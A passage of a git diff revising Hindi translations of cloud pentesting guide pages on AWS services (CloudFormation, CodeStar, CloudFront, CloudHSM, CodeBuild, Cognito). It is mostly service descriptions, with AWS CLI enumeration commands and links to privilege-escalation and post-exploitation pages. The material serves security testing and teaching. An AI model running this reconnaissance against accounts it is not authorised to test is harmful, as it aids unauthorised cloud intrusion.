प्रमाणपत्रों के निर्माण और केंद्रीकृत प्रबंधन** का समर्थन करता है। हालांकि, Elastic Load Balancing, Amazon CloudFront, और Amazon API Gateway जैसी एकीकृत AWS सेवाओं के लिए SSL/TLS प्रमाणपत्र ACM के माध्यम से बिना किसी अतिरिक्त लागत के प्रदान किए जाते हैं, उपयोगकर्ता अपने अनुप्रयोगों द्वारा उपयोग किए जाने वाले AWS संसाधनों से संबंधित लागतों और प्रत्येक **निजी प्रमाणपत्र प्राधिकरण (CA)** और एकीकृत ACM सेवाओं के बाहर उपयोग किए जाने वाले निजी प्रमाणपत्रों के लिए मासिक शुल्क के लिए जिम्मेदार होते हैं। **AWS Private Certificate Authority** को एक **प्रबंधित निजी CA सेवा** के रूप में पेश किया गया है, जो ACM की क्षमताओं को बढ़ाता है और प्रमाणपत्र प्रबंधन को निजी प्रमाणपत्रों को शामिल करने के लिए विस्तारित करता है। ये निजी प्रमाणपत्र संगठन के भीतर संसाधनों को प्रमाणित करने में महत्वपूर्ण होते हैं। diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md index 7ce1c422b..3fc6e2a85 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md @@ -4,7 +4,7 @@ ## CloudFormation -AWS CloudFormation एक सेवा है जो **AWS संसाधनों के प्रबंधन को सरल बनाने** के लिए डिज़ाइन की गई है। यह उपयोगकर्ताओं को AWS में चल रहे अपने अनुप्रयोगों पर अधिक ध्यान केंद्रित करने में सक्षम बनाता है, **संसाधन प्रबंधन पर खर्च किए गए समय को कम करके**। इस सेवा की मुख्य विशेषता **टेम्पलेट** है—इच्छित AWS संसाधनों का एक वर्णनात्मक मॉडल। एक बार जब यह टेम्पलेट प्रदान किया जाता है, तो CloudFormation निर्दिष्ट संसाधनों के **प्रावधान और कॉन्फ़िगरेशन** के लिए जिम्मेदार होता है। यह स्वचालन AWS अवसंरचना के अधिक कुशल और त्रुटि-मुक्त प्रबंधन की सुविधा प्रदान करता है। +AWS CloudFormation एक सेवा है जो **AWS संसाधनों के प्रबंधन को सरल बनाने** के लिए डिज़ाइन की गई है। यह उपयोगकर्ताओं को AWS में चल रहे अपने अनुप्रयोगों पर अधिक ध्यान केंद्रित करने में सक्षम बनाता है **संसाधन प्रबंधन पर खर्च किए गए समय को कम करके**। इस सेवा की मुख्य विशेषता **टेम्पलेट** है—इच्छित AWS संसाधनों का एक वर्णनात्मक मॉडल। एक बार जब यह टेम्पलेट प्रदान किया जाता है, तो CloudFormation निर्दिष्ट संसाधनों के **प्रावधान और कॉन्फ़िगरेशन** के लिए जिम्मेदार होता है। यह स्वचालन AWS अवसंरचना के अधिक कुशल और त्रुटि-मुक्त प्रबंधन को सुविधाजनक बनाता है। ### Enumeration ```bash @@ -31,7 +31,7 @@ aws cloudformation list-stack-set-operation-results --stack-set-name --op ``` ### Privesc -In the following page you can check how to **cloudformation अनुमतियों का दुरुपयोग करके विशेषाधिकार बढ़ाएं**: +In the following page you can check how to **cloudformation अनुमतियों का दुरुपयोग करके विशेषाधिकार बढ़ाना**: {{#ref}} ../aws-privilege-escalation/aws-cloudformation-privesc/ @@ -43,7 +43,7 @@ Check for **गुप्त** या संवेदनशील जानका ## Codestar -AWS CodeStar एक सेवा है जो AWS पर सॉफ़्टवेयर विकास परियोजनाओं को बनाने, प्रबंधित करने और उन पर काम करने के लिए है। आप AWS CodeStar परियोजना के साथ AWS पर तेजी से अनुप्रयोग विकसित, निर्माण और तैनात कर सकते हैं। एक AWS CodeStar परियोजना आपके परियोजना विकास उपकरण श्रृंखला के लिए **AWS सेवाओं को बनाती और एकीकृत करती है**। आपके AWS CodeStar परियोजना टेम्पलेट के चयन के आधार पर, वह उपकरण श्रृंखला स्रोत नियंत्रण, निर्माण, तैनाती, वर्चुअल सर्वर या सर्वर रहित संसाधनों, और अधिक को शामिल कर सकती है। AWS CodeStar भी **परियोजना उपयोगकर्ताओं के लिए आवश्यक अनुमतियों का प्रबंधन करता है** (जिन्हें टीम के सदस्य कहा जाता है)। +AWS CodeStar एक सेवा है जो AWS पर सॉफ़्टवेयर विकास परियोजनाओं को बनाने, प्रबंधित करने और उन पर काम करने के लिए है। आप AWS CodeStar परियोजना के साथ AWS पर तेजी से अनुप्रयोग विकसित, निर्माण और तैनात कर सकते हैं। एक AWS CodeStar परियोजना आपके परियोजना विकास टूलचेन के लिए **AWS सेवाओं को बनाती और एकीकृत करती है**। आपके द्वारा चुने गए AWS CodeStar परियोजना टेम्पलेट के आधार पर, वह टूलचेन स्रोत नियंत्रण, निर्माण, तैनाती, वर्चुअल सर्वर या सर्वर रहित संसाधनों, और अधिक को शामिल कर सकता है। AWS CodeStar भी **परियोजना उपयोगकर्ताओं के लिए आवश्यक अनुमतियों का प्रबंधन करता है** (जिन्हें टीम के सदस्यों कहा जाता है)। ### Enumeration ```bash @@ -58,7 +58,7 @@ aws codestar describe-user-profile --user-arn ``` ### Privesc -इस पृष्ठ पर आप देख सकते हैं कि **कोडस्टार अनुमतियों का दुरुपयोग करके विशेषाधिकार कैसे बढ़ाएं**: +अगली पृष्ठ पर आप देख सकते हैं कि **codestar अनुमतियों का दुरुपयोग करके विशेषाधिकार कैसे बढ़ाएं**: {{#ref}} ../aws-privilege-escalation/aws-codestar-privesc/ diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md index 8fdaa3f5c..4880e7d1d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md @@ -4,15 +4,15 @@ ## CloudFront -CloudFront AWS का **सामग्री वितरण नेटवर्क है जो आपके स्थिर और गतिशील सामग्री के वितरण को तेज करता है** इसके विश्वव्यापी एज स्थानों के नेटवर्क के माध्यम से। जब आप Amazon CloudFront के माध्यम से होस्ट की गई सामग्री के लिए अनुरोध करते हैं, तो अनुरोध निकटतम एज स्थान पर रूट किया जाता है जो इसे सबसे कम विलंबता प्रदान करता है ताकि सर्वोत्तम प्रदर्शन दिया जा सके। जब **CloudFront एक्सेस लॉग** सक्षम होते हैं, तो आप अपने वेबसाइट और वितरण तक पहुंच के लिए अनुरोध करने वाले प्रत्येक उपयोगकर्ता के अनुरोध को रिकॉर्ड कर सकते हैं। S3 एक्सेस लॉग की तरह, ये लॉग भी **Amazon S3 पर टिकाऊ और स्थायी भंडारण के लिए संग्रहीत होते हैं**। लॉगिंग को सक्षम करने के लिए कोई शुल्क नहीं है, हालाँकि, चूंकि लॉग S3 में संग्रहीत होते हैं, इसलिए आपको S3 द्वारा उपयोग किए गए भंडारण के लिए शुल्क लिया जाएगा। +CloudFront AWS का **सामग्री वितरण नेटवर्क है जो आपके स्थिर और गतिशील सामग्री के वितरण को तेज करता है** इसके विश्वव्यापी एज स्थानों के नेटवर्क के माध्यम से। जब आप Amazon CloudFront के माध्यम से होस्ट की गई सामग्री के लिए एक अनुरोध करते हैं, तो अनुरोध निकटतम एज स्थान पर रूट किया जाता है जो इसे सबसे कम विलंबता प्रदान करता है ताकि सर्वोत्तम प्रदर्शन दिया जा सके। जब **CloudFront एक्सेस लॉग** सक्षम होते हैं, तो आप प्रत्येक उपयोगकर्ता के अनुरोध को रिकॉर्ड कर सकते हैं जो आपकी वेबसाइट और वितरण तक पहुंचने का अनुरोध कर रहा है। S3 एक्सेस लॉग की तरह, ये लॉग भी **Amazon S3 पर टिकाऊ और स्थायी भंडारण के लिए संग्रहीत होते हैं**। लॉगिंग को सक्षम करने के लिए कोई शुल्क नहीं है, हालाँकि, चूंकि लॉग S3 में संग्रहीत होते हैं, इसलिए आपको S3 द्वारा उपयोग किए गए भंडारण के लिए शुल्क लिया जाएगा। -लॉग फ़ाइलें एक निश्चित समय के दौरान डेटा कैप्चर करती हैं और Amazon CloudFront द्वारा उस वितरण के लिए प्राप्त अनुरोधों की मात्रा पर निर्भर करती हैं कि कितनी लॉग फ़ाइलें उत्पन्न होती हैं। यह जानना महत्वपूर्ण है कि ये लॉग फ़ाइलें S3 पर नहीं बनाई या लिखी जाती हैं। S3 बस वह स्थान है जहाँ वे लॉग फ़ाइल भरने के बाद वितरित की जाती हैं। **Amazon CloudFront इन लॉग को तब तक बनाए रखता है जब तक कि वे S3 में वितरित करने के लिए तैयार नहीं होते**। फिर से, इन लॉग फ़ाइलों के आकार के आधार पर यह वितरण **एक से 24 घंटे** के बीच ले सकता है। +लॉग फ़ाइलें एक निश्चित समय के दौरान डेटा कैप्चर करती हैं और Amazon CloudFront द्वारा उस वितरण के लिए प्राप्त अनुरोधों की मात्रा पर निर्भर करती हैं कि कितनी लॉग फ़ाइलें उत्पन्न होती हैं। यह जानना महत्वपूर्ण है कि ये लॉग फ़ाइलें S3 पर नहीं बनाई या लिखी जाती हैं। S3 बस वह स्थान है जहाँ उन्हें लॉग फ़ाइल भरने के बाद वितरित किया जाता है। **Amazon CloudFront इन लॉग को तब तक बनाए रखता है जब तक कि उन्हें S3 में वितरित करने के लिए तैयार नहीं किया जाता**। फिर, इन लॉग फ़ाइलों के आकार के आधार पर, यह वितरण **एक से 24 घंटे** के बीच ले सकता है। **डिफ़ॉल्ट रूप से कुकी लॉगिंग अक्षम है** लेकिन आप इसे सक्षम कर सकते हैं। ### Functions -आप CloudFront में फ़ंक्शन बना सकते हैं। इन फ़ंक्शनों का **एंडपॉइंट क्लाउडफ्रंट में** परिभाषित होगा और यह एक घोषित **NodeJS कोड** चलाएगा। यह कोड एक **सैंडबॉक्स** के अंदर एक मशीन पर चलेगा जो AWS प्रबंधित मशीन के तहत चल रही है (आपको अंतर्निहित OS से बचने के लिए एक सैंडबॉक्स बायपास की आवश्यकता होगी)। +आप CloudFront में फ़ंक्शन बना सकते हैं। इन फ़ंक्शनों का **एंडपॉइंट क्लाउडफ्रंट में** परिभाषित होगा और यह एक घोषित **NodeJS कोड** चलाएगा। यह कोड एक मशीन के अंदर **सैंडबॉक्स** में चलेगा जो AWS प्रबंधित मशीन के तहत चल रही है (आपको अंतर्निहित OS से बचने के लिए एक सैंडबॉक्स बायपास की आवश्यकता होगी)। चूंकि फ़ंक्शन उपयोगकर्ताओं के AWS खाते में नहीं चलाए जाते हैं, कोई IAM भूमिका संलग्न नहीं होती है इसलिए इस सुविधा का दुरुपयोग करके कोई प्रत्यक्ष प्रिवेस्क संभव नहीं है। @@ -27,13 +27,13 @@ aws cloudfront get-function --name TestFunction function_code.js aws cloudfront list-distributions | jq ".DistributionList.Items[] | .Id, .Origins.Items[].Id, .Origins.Items[].DomainName, .AliasICPRecordals[].CNAME" ``` -## अनधिकृत पहुँच +## बिना प्रमाणीकरण की पहुँच {{#ref}} ../aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md {{#endref}} -## पोस्ट शोषण +## पोस्ट एक्सप्लोइटेशन {{#ref}} ../aws-post-exploitation/aws-cloudfront-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md index 25ddf91ab..50c7d7c2c 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -## HSM - हार्डवेयर सुरक्षा मॉड्यूल +## HSM - Hardware Security Module Cloud HSM एक FIPS 140 स्तर दो मान्यताप्राप्त **हार्डवेयर डिवाइस** है जो सुरक्षित क्रिप्टोग्राफिक कुंजी भंडारण के लिए है (ध्यान दें कि CloudHSM एक हार्डवेयर उपकरण है, यह एक वर्चुअलाइज्ड सेवा नहीं है)। यह एक SafeNetLuna 7000 उपकरण है जिसमें 5.3.13 प्रीलोडेड है। दो फर्मवेयर संस्करण हैं और आप जो चुनते हैं वह वास्तव में आपकी सटीक आवश्यकताओं पर निर्भर करता है। एक FIPS 140-2 अनुपालन के लिए है और एक नया संस्करण था जिसका उपयोग किया जा सकता है। @@ -10,25 +10,25 @@ CloudHSM की असामान्य विशेषता यह है क आमतौर पर, एक डिवाइस 15 मिनट के भीतर उपलब्ध होता है यदि क्षमता है, लेकिन कुछ क्षेत्रों में ऐसा नहीं हो सकता है। -चूंकि यह एक भौतिक डिवाइस है जो आपके लिए समर्पित है, **कुंजी डिवाइस पर संग्रहीत होती हैं**। कुंजियों को या तो **दूसरे डिवाइस पर दोहराना**, ऑफ़लाइन स्टोरेज में बैकअप करना, या स्टैंडबाय उपकरण पर निर्यात करना आवश्यक है। **यह डिवाइस S3 या AWS में KMS जैसी किसी अन्य सेवा द्वारा समर्थित नहीं है**। +चूंकि यह एक भौतिक डिवाइस है जो आपके लिए समर्पित है, **कुंजी डिवाइस पर संग्रहीत होती हैं**। कुंजियों को या तो **दूसरे डिवाइस पर दोहराना**, ऑफलाइन स्टोरेज में बैकअप करना, या एक स्टैंडबाय उपकरण पर निर्यात करना आवश्यक है। **यह डिवाइस S3 या AWS में KMS जैसी किसी अन्य सेवा द्वारा समर्थित नहीं है**। -**CloudHSM** में, आपको **सेवा को स्वयं स्केल करना होगा**। आपको अपने समाधान के लिए लागू किए गए क्रिप्टोग्राफी एल्गोरिदम के आधार पर आपकी एन्क्रिप्शन आवश्यकताओं को संभालने के लिए पर्याप्त CloudHSM उपकरणों को प्रावधान करना होगा।\ +**CloudHSM** में, आपको **सेवा को स्वयं स्केल करना होगा**। आपको अपने समाधान के लिए लागू किए गए क्रिप्टोग्राफी एल्गोरिदम के आधार पर आपके एन्क्रिप्शन आवश्यकताओं को संभालने के लिए पर्याप्त CloudHSM उपकरणों को प्रावधान करना होगा।\ की प्रबंधन सेवा का स्केलिंग AWS द्वारा किया जाता है और मांग के अनुसार स्वचालित रूप से स्केल होता है, इसलिए जैसे-जैसे आपका उपयोग बढ़ता है, आवश्यक CloudHSM उपकरणों की संख्या भी बढ़ सकती है। इसे ध्यान में रखें जब आप अपने समाधान को स्केल करते हैं और यदि आपके समाधान में ऑटो-स्केलिंग है, तो सुनिश्चित करें कि आपके अधिकतम स्केल के लिए पर्याप्त CloudHSM उपकरणों का ध्यान रखा गया है। -स्केलिंग की तरह, **CloudHSM के साथ प्रदर्शन आपके ऊपर निर्भर है**। प्रदर्शन इस पर निर्भर करता है कि कौन सा एन्क्रिप्शन एल्गोरिदम उपयोग किया जा रहा है और आपको डेटा को एन्क्रिप्ट करने के लिए कुंजियों तक पहुंचने या पुनः प्राप्त करने की कितनी बार आवश्यकता है। की प्रबंधन सेवा का प्रदर्शन Amazon द्वारा संभाला जाता है और मांग के अनुसार स्वचालित रूप से स्केल होता है। CloudHSM का प्रदर्शन अधिक उपकरण जोड़ने से प्राप्त होता है और यदि आपको अधिक प्रदर्शन की आवश्यकता है तो आप या तो उपकरण जोड़ते हैं या एन्क्रिप्शन विधि को तेज़ एल्गोरिदम में बदलते हैं। +स्केलिंग की तरह, **CloudHSM के साथ प्रदर्शन आपके ऊपर निर्भर है**। प्रदर्शन इस पर निर्भर करता है कि कौन सा एन्क्रिप्शन एल्गोरिदम उपयोग किया जा रहा है और आपको डेटा को एन्क्रिप्ट करने के लिए कुंजी तक पहुंचने या पुनः प्राप्त करने की कितनी बार आवश्यकता है। की प्रबंधन सेवा का प्रदर्शन Amazon द्वारा संभाला जाता है और मांग के अनुसार स्वचालित रूप से स्केल होता है। CloudHSM का प्रदर्शन अधिक उपकरण जोड़ने से प्राप्त होता है और यदि आपको अधिक प्रदर्शन की आवश्यकता है तो आप या तो उपकरण जोड़ते हैं या एन्क्रिप्शन विधि को तेज एल्गोरिदम में बदलते हैं। -यदि आपका समाधान **मल्टी-क्षेत्र** है, तो आपको दूसरे क्षेत्र में कई **CloudHSM उपकरण जोड़ने चाहिए और एक निजी VPN कनेक्शन के साथ क्रॉस-क्षेत्र कनेक्टिविटी का समाधान करना चाहिए** या किसी विधि का उपयोग करना चाहिए जिससे यह सुनिश्चित हो सके कि कनेक्शन के हर स्तर पर ट्रैफ़िक हमेशा सुरक्षित है। यदि आपके पास एक मल्टी-क्षेत्र समाधान है, तो आपको यह सोचना होगा कि **कुंजियों को कैसे दोहराना है और उन क्षेत्रों में अतिरिक्त CloudHSM उपकरण कैसे सेट करना है जहां आप कार्य करते हैं**। आप बहुत जल्दी एक परिदृश्य में पहुँच सकते हैं जहाँ आपके पास छह या आठ उपकरण हैं जो कई क्षेत्रों में फैले हुए हैं, जिससे आपके एन्क्रिप्शन कुंजियों की पूर्ण पुनरावृत्ति सक्षम होती है। +यदि आपका समाधान **मल्टी-क्षेत्र** है, तो आपको दूसरे क्षेत्र में कई **CloudHSM उपकरण जोड़ने चाहिए और एक निजी VPN कनेक्शन के साथ क्रॉस-क्षेत्र कनेक्टिविटी का समाधान करना चाहिए** या किसी अन्य विधि से यह सुनिश्चित करना चाहिए कि कनेक्शन के हर स्तर पर ट्रैफ़िक हमेशा सुरक्षित हो। यदि आपके पास एक मल्टी-क्षेत्र समाधान है, तो आपको यह सोचना होगा कि **कुंजियों को कैसे दोहराना है और उन क्षेत्रों में अतिरिक्त CloudHSM उपकरण कैसे सेट करना है जहां आप कार्य करते हैं**। आप बहुत जल्दी एक परिदृश्य में पहुंच सकते हैं जहां आपके पास छह या आठ उपकरण हैं जो कई क्षेत्रों में फैले हुए हैं, जिससे आपके एन्क्रिप्शन कुंजियों की पूर्ण पुनरावृत्ति सक्षम होती है। **CloudHSM** एक उद्यम श्रेणी की सेवा है जो सुरक्षित कुंजी भंडारण के लिए है और इसे **एक उद्यम के लिए विश्वास का मूल** के रूप में उपयोग किया जा सकता है। यह PKI में निजी कुंजियों और X509 कार्यान्वयन में प्रमाणपत्र प्राधिकरण कुंजियों को संग्रहीत कर सकता है। सममित एल्गोरिदम जैसे AES में उपयोग की जाने वाली सममित कुंजियों के अलावा, **KMS केवल सममित कुंजियों को संग्रहीत और भौतिक रूप से सुरक्षित करता है (प्रमाणपत्र प्राधिकरण के रूप में कार्य नहीं कर सकता)**, इसलिए यदि आपको PKI और CA कुंजियों को संग्रहीत करने की आवश्यकता है, तो एक या दो या तीन CloudHSM आपकी समाधान हो सकता है। **CloudHSM की लागत की प्रबंधन सेवा की तुलना में काफी अधिक है**। CloudHSM एक हार्डवेयर उपकरण है इसलिए आपको CloudHSM डिवाइस को प्रावधान करने के लिए निश्चित लागत होती है, फिर उपकरण चलाने के लिए एक घंटे की लागत होती है। लागत आपके विशिष्ट आवश्यकताओं को पूरा करने के लिए आवश्यक CloudHSM उपकरणों की संख्या से गुणा की जाती है।\ -इसके अतिरिक्त, तीसरे पक्ष के सॉफ़्टवेयर जैसे SafeNet ProtectV सॉफ़्टवेयर सूट और एकीकरण समय और प्रयास की खरीद में क्रॉस विचार किया जाना चाहिए। की प्रबंधन सेवा एक उपयोग आधारित है और आपके पास मौजूद कुंजियों की संख्या और इनपुट और आउटपुट संचालन पर निर्भर करती है। चूंकि की प्रबंधन कई AWS सेवाओं के साथ निर्बाध एकीकरण प्रदान करता है, एकीकरण लागत काफी कम होनी चाहिए। लागत को एन्क्रिप्शन समाधानों में द्वितीयक कारक के रूप में माना जाना चाहिए। एन्क्रिप्शन आमतौर पर सुरक्षा और अनुपालन के लिए उपयोग किया जाता है। +इसके अलावा, तीसरे पक्ष के सॉफ़्टवेयर जैसे SafeNet ProtectV सॉफ़्टवेयर सूट और एकीकरण समय और प्रयास की खरीद में क्रॉस विचार किया जाना चाहिए। की प्रबंधन सेवा एक उपयोग आधारित है और आपके पास कितनी कुंजियाँ हैं और इनपुट और आउटपुट संचालन पर निर्भर करती है। चूंकि की प्रबंधन कई AWS सेवाओं के साथ निर्बाध एकीकरण प्रदान करता है, एकीकरण लागत काफी कम होनी चाहिए। लागत को एन्क्रिप्शन समाधानों में द्वितीयक कारक के रूप में माना जाना चाहिए। एन्क्रिप्शन आमतौर पर सुरक्षा और अनुपालन के लिए उपयोग किया जाता है। -**CloudHSM के साथ केवल आपके पास कुंजियों तक पहुंच है** और बहुत अधिक विवरण में जाने के बिना, CloudHSM के साथ आप अपनी कुंजियों का प्रबंधन करते हैं। **KMS के साथ, आप और Amazon अपनी कुंजियों का सह-प्रबंधन करते हैं**। AWS के पास दुरुपयोग के खिलाफ कई नीति सुरक्षा उपाय हैं और **फिर भी किसी भी समाधान में आपकी कुंजियों तक पहुंच नहीं हो सकती**। मुख्य भेद यह है कि यह कुंजी स्वामित्व और प्रबंधन से संबंधित अनुपालन है, और CloudHSM के साथ, यह एक हार्डवेयर उपकरण है जिसे आप प्रबंधित और बनाए रखते हैं और केवल आपके लिए विशेष पहुंच है। +**CloudHSM के साथ केवल आपके पास कुंजियों तक पहुंच है** और अधिक विवरण में जाने के बिना, CloudHSM के साथ आप अपनी कुंजियों का प्रबंधन करते हैं। **KMS के साथ, आप और Amazon अपनी कुंजियों का सह-प्रबंधन करते हैं**। AWS के पास दुरुपयोग के खिलाफ कई नीति सुरक्षा उपाय हैं और **फिर भी किसी भी समाधान में आपकी कुंजियों तक पहुंच नहीं है**। मुख्य भेद यह है कि यह कुंजी स्वामित्व और प्रबंधन से संबंधित अनुपालन है, और CloudHSM के साथ, यह एक हार्डवेयर उपकरण है जिसे आप प्रबंधित और बनाए रखते हैं और केवल आपके लिए विशेष पहुंच है। -### CloudHSM सुझाव +### CloudHSM Suggestions -1. हमेशा CloudHSM को **HA सेटअप** में तैनात करें जिसमें **अलग-अलग उपलब्धता क्षेत्रों में कम से कम दो उपकरण** हों, और यदि संभव हो, तो एक तीसरा उपकरण ऑन-प्रिमाइस या AWS के किसी अन्य क्षेत्र में तैनात करें। +1. हमेशा CloudHSM को **HA सेटअप** में तैनात करें जिसमें **अलग-अलग उपलब्धता क्षेत्रों** में कम से कम दो उपकरण हों, और यदि संभव हो, तो AWS में एक अन्य क्षेत्र में एक तीसरा उपकरण तैनात करें। 2. **CloudHSM** को **आरंभ करते समय सावधान रहें**। यह क्रिया **कुंजियों को नष्ट कर देगी**, इसलिए या तो कुंजियों की एक और प्रति रखें या सुनिश्चित करें कि आपको इन कुंजियों की आवश्यकता नहीं है और कभी भी इन कुंजियों की आवश्यकता नहीं होगी। 3. CloudHSM केवल **कुछ फर्मवेयर** और सॉफ़्टवेयर संस्करणों का **समर्थन करता है**। किसी भी अपडेट को करने से पहले, सुनिश्चित करें कि फर्मवेयर और/या सॉफ़्टवेयर AWS द्वारा समर्थित है। आप हमेशा AWS समर्थन से संपर्क कर सकते हैं यह सत्यापित करने के लिए कि यदि अपग्रेड गाइड स्पष्ट नहीं है। 4. **नेटवर्क कॉन्फ़िगरेशन को कभी नहीं बदला जाना चाहिए।** याद रखें, यह AWS डेटा सेंटर में है और AWS आपके लिए आधारभूत हार्डवेयर की निगरानी कर रहा है। इसका मतलब है कि यदि हार्डवेयर विफल हो जाता है, तो वे इसे आपके लिए बदल देंगे, लेकिन केवल तभी जब उन्हें पता हो कि यह विफल हो गया है। @@ -38,13 +38,13 @@ CloudHSM की असामान्य विशेषता यह है क CloudHSM के लिए प्रारंभिक लॉन्च शुल्क $5,000 है जो आपके उपयोग के लिए समर्पित हार्डवेयर उपकरण आवंटित करने के लिए है, फिर CloudHSM चलाने के लिए एक घंटे का शुल्क है जो वर्तमान में $1.88 प्रति घंटे के संचालन पर है, या लगभग $1,373 प्रति माह। -CloudHSM का सबसे सामान्य कारण अनुपालन मानक है जिन्हें आपको नियामक कारणों के लिए पूरा करना चाहिए। **KMS असममित कुंजियों के लिए डेटा समर्थन प्रदान नहीं करता है। CloudHSM आपको असममित कुंजियों को सुरक्षित रूप से संग्रहीत करने की अनुमति देता है**। +CloudHSM का उपयोग करने का सबसे सामान्य कारण अनुपालन मानक है जिन्हें आपको नियामक कारणों के लिए पूरा करना चाहिए। **KMS असममित कुंजियों के लिए डेटा समर्थन प्रदान नहीं करता है। CloudHSM आपको असममित कुंजियों को सुरक्षित रूप से संग्रहीत करने की अनुमति देता है**। **सार्वजनिक कुंजी HSM उपकरण पर प्रावधान के दौरान स्थापित की जाती है** ताकि आप SSH के माध्यम से CloudHSM उदाहरण तक पहुंच सकें। -### हार्डवेयर सुरक्षा मॉड्यूल क्या है +### What is a Hardware Security Module -एक हार्डवेयर सुरक्षा मॉड्यूल (HSM) एक समर्पित क्रिप्टोग्राफिक डिवाइस है जिसका उपयोग क्रिप्टोग्राफिक कुंजियों को उत्पन्न करने, संग्रहीत करने और प्रबंधित करने और संवेदनशील डेटा की सुरक्षा के लिए किया जाता है। इसे भौतिक और इलेक्ट्रॉनिक रूप से क्रिप्टोग्राफिक कार्यों को सिस्टम के बाकी हिस्सों से अलग करने के लिए उच्च स्तर की सुरक्षा प्रदान करने के लिए डिज़ाइन किया गया है। +एक हार्डवेयर सुरक्षा मॉड्यूल (HSM) एक समर्पित क्रिप्टोग्राफिक डिवाइस है जिसका उपयोग क्रिप्टोग्राफिक कुंजियों को उत्पन्न, संग्रहीत और प्रबंधित करने और संवेदनशील डेटा की सुरक्षा के लिए किया जाता है। इसे भौतिक और इलेक्ट्रॉनिक रूप से क्रिप्टोग्राफिक कार्यों को सिस्टम के बाकी हिस्सों से अलग करने के लिए उच्च स्तर की सुरक्षा प्रदान करने के लिए डिज़ाइन किया गया है। HSM कैसे काम करता है यह विशिष्ट मॉडल और निर्माता के आधार पर भिन्न हो सकता है, लेकिन सामान्यतः, निम्नलिखित चरण होते हैं: @@ -56,9 +56,9 @@ HSM कैसे काम करता है यह विशिष्ट म HSM का उपयोग सुरक्षित ऑनलाइन लेनदेन, डिजिटल प्रमाणपत्र, सुरक्षित संचार और डेटा एन्क्रिप्शन सहित कई प्रकार के अनुप्रयोगों के लिए किया जा सकता है। इन्हें अक्सर उन उद्योगों में उपयोग किया जाता है जिन्हें उच्च स्तर की सुरक्षा की आवश्यकता होती है, जैसे वित्त, स्वास्थ्य देखभाल और सरकार। -कुल मिलाकर, HSM द्वारा प्रदान की गई उच्च स्तर की सुरक्षा इसे **कच्ची कुंजियों को निकालना बहुत कठिन बनाती है, और ऐसा करने का प्रयास अक्सर सुरक्षा का उल्लंघन माना जाता है**। हालाँकि, **कुछ परिदृश्यों** में **कच्ची कुंजी को अधिकृत कर्मियों द्वारा विशिष्ट उद्देश्यों के लिए निकाला जा सकता है**, जैसे कि कुंजी पुनर्प्राप्ति प्रक्रिया के मामले में। +कुल मिलाकर, HSM द्वारा प्रदान की गई उच्च स्तर की सुरक्षा इसे **कच्ची कुंजियों को निकालना बहुत कठिन बनाती है, और ऐसा करने का प्रयास अक्सर सुरक्षा का उल्लंघन माना जाता है**। हालाँकि, कुछ **विशिष्ट परिदृश्यों** में **कच्ची कुंजी को अधिकृत कर्मियों द्वारा विशेष उद्देश्यों के लिए निकाला जा सकता है**, जैसे कि कुंजी पुनर्प्राप्ति प्रक्रिया के मामले में। -### गणना +### Enumeration ``` TODO ``` diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md index f154b5c04..a715164fa 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md @@ -49,7 +49,7 @@ aws codebuild describe-test-cases --report-arn ``` ### Privesc -इस पृष्ठ में, आप **कोडबिल्ड अनुमतियों का दुरुपयोग करके विशेषाधिकार बढ़ाने** का तरीका देख सकते हैं: +निम्नलिखित पृष्ठ पर, आप **कोडबिल्ड अनुमतियों का दुरुपयोग करके विशेषाधिकार बढ़ाने** के तरीके की जांच कर सकते हैं: {{#ref}} ../aws-privilege-escalation/aws-codebuild-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md index 66d674635..d5e0e258a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md @@ -4,12 +4,12 @@ ## Cognito -Amazon Cognito का उपयोग **प्रमाणीकरण, प्राधिकरण, और उपयोगकर्ता प्रबंधन** के लिए वेब और मोबाइल अनुप्रयोगों में किया जाता है। यह उपयोगकर्ताओं को **उपयोगकर्ता नाम और पासवर्ड** का उपयोग करके सीधे या **तीसरे पक्ष** के माध्यम से, जिसमें Facebook, Amazon, Google, या Apple शामिल हैं, साइन इन करने की लचीलापन प्रदान करता है। +Amazon Cognito का उपयोग **प्रमाणीकरण, अधिकरण, और उपयोगकर्ता प्रबंधन** के लिए वेब और मोबाइल अनुप्रयोगों में किया जाता है। यह उपयोगकर्ताओं को **उपयोगकर्ता नाम और पासवर्ड** का उपयोग करके सीधे या **तीसरे पक्ष** के माध्यम से, जिसमें Facebook, Amazon, Google, या Apple शामिल हैं, साइन इन करने की लचीलापन प्रदान करता है। -Amazon Cognito के केंद्र में दो प्रमुख घटक हैं: +Amazon Cognito के केंद्रीय दो प्रमुख घटक हैं: -1. **उपयोगकर्ता पूल**: ये आपके ऐप उपयोगकर्ताओं के लिए निर्देशिकाएँ हैं, जो **साइन-अप और साइन-इन कार्यक्षमताएँ** प्रदान करती हैं। -2. **पहचान पूल**: ये पूल **विभिन्न AWS सेवाओं तक पहुँचने के लिए उपयोगकर्ताओं को प्राधिकृत करने** में सहायक होते हैं। ये सीधे साइन-इन या साइन-अप प्रक्रिया में शामिल नहीं होते हैं, लेकिन 